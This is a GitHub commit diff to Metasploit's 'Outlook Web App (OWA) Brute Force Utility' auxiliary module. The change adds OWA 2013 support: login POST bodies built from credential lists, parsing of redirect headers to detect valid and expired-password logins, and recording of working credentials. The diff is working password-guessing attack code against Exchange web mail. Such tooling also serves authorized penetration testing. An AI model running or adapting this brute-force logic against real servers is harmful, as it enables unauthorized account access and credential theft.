Skip to content

Commit fe0b76e

Browse files
committed
Land rapid7#2994 - OWA 2013 support
2 parents 144b86f + ea5fe9e commit fe0b76e

File tree

1 file changed

+77
-21
lines changed

1 file changed

+77
-21
lines changed

modules/auxiliary/scanner/http/owa_login.rb

100644100755
Lines changed: 77 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -11,12 +11,14 @@ class Metasploit3 < Msf::Auxiliary
1111
include Msf::Auxiliary::Report
1212
include Msf::Auxiliary::AuthBrute
1313
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Auxiliary::Scanner
15+
1416

1517
def initialize
1618
super(
1719
'Name' => 'Outlook Web App (OWA) Brute Force Utility',
1820
'Description' => %q{
19-
This module tests credentials on OWA 2003, 2007 and 2010 servers. The default
21+
This module tests credentials on OWA 2003, 2007, 2010, 2013 servers. The default
2022
action is set to OWA 2010.
2123
},
2224
'Author' =>
@@ -25,13 +27,15 @@ def initialize
2527
'Spencer McIntyre',
2628
'SecureState R&D Team',
2729
'sinn3r',
28-
'Brandon Knight'
30+
'Brandon Knight',
31+
'Pete (Bokojan) Arzamendi, #Outlook 2013 updates'
2932
],
33+
3034
'License' => MSF_LICENSE,
3135
'Actions' =>
3236
[
3337
[
34-
'OWA 2003',
38+
'OWA_2003',
3539
{
3640
'Description' => 'OWA version 2003',
3741
'AuthPath' => '/exchweb/bin/auth/owaauth.dll',
@@ -40,7 +44,7 @@ def initialize
4044
}
4145
],
4246
[
43-
'OWA 2007',
47+
'OWA_2007',
4448
{
4549
'Description' => 'OWA version 2007',
4650
'AuthPath' => '/owa/auth/owaauth.dll',
@@ -49,31 +53,45 @@ def initialize
4953
}
5054
],
5155
[
52-
'OWA 2010',
56+
'OWA_2010',
5357
{
5458
'Description' => 'OWA version 2010',
5559
'AuthPath' => '/owa/auth.owa',
5660
'InboxPath' => '/owa/',
5761
'InboxCheck' => /Inbox|location(\x20*)=(\x20*)"\\\/(\w+)\\\/logoff\.owa|A mailbox couldn\'t be found|\<a .+onclick="return JumpTo\('logoff\.aspx.+\">/
5862
}
63+
],
64+
[
65+
'OWA_2013',
66+
{
67+
'Description' => 'OWA version 2013',
68+
'AuthPath' => '/owa/auth.owa',
69+
'InboxPath' => '/owa/',
70+
'InboxCheck' => /Inbox|logoff\.owa/
71+
}
5972
]
6073
],
61-
'DefaultAction' => 'OWA 2010'
74+
'DefaultAction' => 'OWA_2010',
75+
'DefaultOptions' => {
76+
'SSL' => true
77+
}
6278
)
6379

80+
6481
register_options(
6582
[
6683
OptInt.new('RPORT', [ true, "The target port", 443]),
84+
OptAddress.new('RHOST', [ true, "The target address", true]),
85+
OptBool.new('ENUM_DOMAIN', [ true, "Automatically enumerate AD domain using NTLM authentication", true]),
6786
], self.class)
6887

88+
6989
register_advanced_options(
7090
[
71-
OptString.new('AD_DOMAIN', [ false, "Optional AD domain to prepend to usernames", '']),
72-
OptBool.new('ENUM_DOMAIN', [ true, "Automatically enumerate AD domain using NTLM authentication", false]),
73-
OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true])
91+
OptString.new('AD_DOMAIN', [ false, "Optional AD domain to prepend to usernames", ''])
7492
], self.class)
7593

76-
deregister_options('BLANK_PASSWORDS')
94+
deregister_options('BLANK_PASSWORDS', 'RHOSTS','PASSWORD','USERNAME')
7795
end
7896

7997
def cleanup
@@ -86,7 +104,7 @@ def run
86104
# Store the original setting
87105
@blank_passwords_setting = datastore['BLANK_PASSWORDS']
88106

89-
# OWA doesn't support blank passwords
107+
# OWA doesn't support blank passwords or usernames!
90108
datastore['BLANK_PASSWORDS'] = false
91109

92110
# If there's a pre-defined username/password, we need to turn off USER_AS_PASS
@@ -126,6 +144,7 @@ def run
126144

127145
begin
128146
each_user_pass do |user, pass|
147+
next if (user.blank? or pass.blank?)
129148
vprint_status("#{msg} Trying #{user} : #{pass}")
130149
try_user_pass({"user" => user, "domain"=>domain, "pass"=>pass, "auth_path"=>auth_path, "inbox_path"=>inbox_path, "login_check"=>login_check, "vhost"=>vhost})
131150
end
@@ -143,16 +162,26 @@ def try_user_pass(opts)
143162
vhost = opts["vhost"]
144163
domain = opts["domain"]
145164

165+
166+
146167
user = domain + '\\' + user if domain
147168

148169
headers = {
149170
'Cookie' => 'PBack=0'
150171
}
151172

152173
if (datastore['SSL'].to_s.match(/^(t|y|1)/i))
153-
data = 'destination=https://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass
174+
if action.name == "OWA_2013"
175+
data = 'destination=https://' << vhost << '/owa&flags=4&forcedownlevel=0&username=' << user << '&password=' << pass << '&isUtf8=1'
176+
else
177+
data = 'destination=https://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass
178+
end
154179
else
155-
data = 'destination=http://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass
180+
if action.name == "OWA_2013"
181+
data = 'destination=http://' << vhost << '/owa&flags=4&forcedownlevel=0&username=' << user << '&password=' << pass << '&isUtf8=1'
182+
else
183+
data = 'destination=http://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass
184+
end
156185
end
157186

158187
begin
@@ -174,16 +203,43 @@ def try_user_pass(opts)
174203
return :abort
175204
end
176205

177-
if not res.headers['set-cookie']
178-
print_error("#{msg} Received invalid repsonse due to a missing cookie (possibly due to invalid version), aborting")
179-
return :abort
206+
if action.name != "OWA_2013" and not res.headers['set-cookie']
207+
print_error("#{msg} Received invalid repsonse due to a missing cookie (possibly due to invalid version), aborting")
208+
return :abort
180209
end
210+
if action.name == "OWA_2013"
211+
#Check for a response code to make sure login was valid. Changes from 2010 to 2013.
212+
#Check if the password needs to be changed.
213+
if res.headers['location'] =~ /expiredpassword/
214+
print_good("#{msg} SUCCESSFUL LOGIN. '#{user}' : '#{pass}': NOTE password change required")
215+
report_hash = {
216+
:host => datastore['RHOST'],
217+
:port => datastore['RPORT'],
218+
:sname => 'owa',
219+
:user => user,
220+
:pass => pass,
221+
:active => true,
222+
:type => 'password'}
223+
224+
report_auth_info(report_hash)
225+
return :next_user
226+
end
181227

182-
# these two lines are the authentication info
183-
sessionid = 'sessionid=' << res.headers['set-cookie'].split('sessionid=')[1].split('; ')[0]
184-
cadata = 'cadata=' << res.headers['set-cookie'].split('cadata=')[1].split('; ')[0]
185-
186-
headers['Cookie'] = 'PBack=0; ' << sessionid << '; ' << cadata
228+
#No password change required moving on.
229+
reason = res.headers['location'].split('reason=')[1]
230+
if reason == nil
231+
headers['Cookie'] = 'PBack=0;' << res.get_cookies
232+
else
233+
#Login didn't work. no point on going on.
234+
vprint_error("#{msg} FAILED LOGIN. '#{user}' : '#{pass}'")
235+
return :Skip_pass
236+
end
237+
else
238+
# these two lines are the authentication info
239+
sessionid = 'sessionid=' << res.headers['set-cookie'].split('sessionid=')[1].split('; ')[0]
240+
cadata = 'cadata=' << res.headers['set-cookie'].split('cadata=')[1].split('; ')[0]
241+
headers['Cookie'] = 'PBack=0; ' << sessionid << '; ' << cadata
242+
end
187243

188244
begin
189245
res = send_request_cgi({

0 commit comments

Comments
 (0)